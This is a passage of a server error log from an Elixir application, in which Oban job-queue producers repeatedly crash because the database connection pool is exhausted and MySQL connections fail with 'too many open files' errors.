    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:38:15.239777Z], limit: 5, uuid: "3c95b3bd-9b71-4483-bc6b-e81da1d5c9ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.239782Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68452>, refresh_timer: #Reference<0.2525715032.1068498948.68443>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1081ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:38:15.239823Z], limit: 5, uuid: "6fb6381e-1c36-4aa7-ac3d-7b5995781acb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.239829Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65115>, refresh_timer: #Reference<0.2525715032.1068498948.68446>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:38:15.240007Z], limit: 10, uuid: "114bdc4e-b8d9-4715-8184-ca5aa32d2bf0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.240012Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65114>, refresh_timer: #Reference<0.2525715032.1077673987.47381>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:38:15.239546Z], limit: 3, uuid: "41b7ed04-2fb6-4f7d-b5d3-b8a6dfbb748c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.239550Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65116>, refresh_timer: #Reference<0.2525715032.1068498948.68434>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:29.946000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:33.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:33.806000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:35.389000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:35.772000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:36.573000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1074ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:38:27.238925Z], limit: 20, uuid: "739e24e4-a582-4dab-8a34-4a0a019fb376", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.238930Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65426>, refresh_timer: #Reference<0.2525715032.1077673987.47401>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1005ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:38:27.238793Z], limit: 5, uuid: "a7ddd8e2-5a81-4837-b383-22f74bd75c76", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.238799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65428>, refresh_timer: #Reference<0.2525715032.1077673987.47397>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:38:27.239231Z], limit: 10, uuid: "1dd9455c-1f18-4c2a-8963-b8d5e3dba10d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.239236Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65427>, refresh_timer: #Reference<0.2525715032.1077673987.47411>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:38:27.238540Z], limit: 50, uuid: "287b7002-0796-42a9-8dd8-e113804f651d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.238546Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65429>, refresh_timer: #Reference<0.2525715032.1068498948.68622>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:38:27.239244Z], limit: 5, uuid: "e8003966-7a15-4775-b183-bc840053567b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:27.239250Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.65424>, refresh_timer: #Reference<0.2525715032.1099431938.65390>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
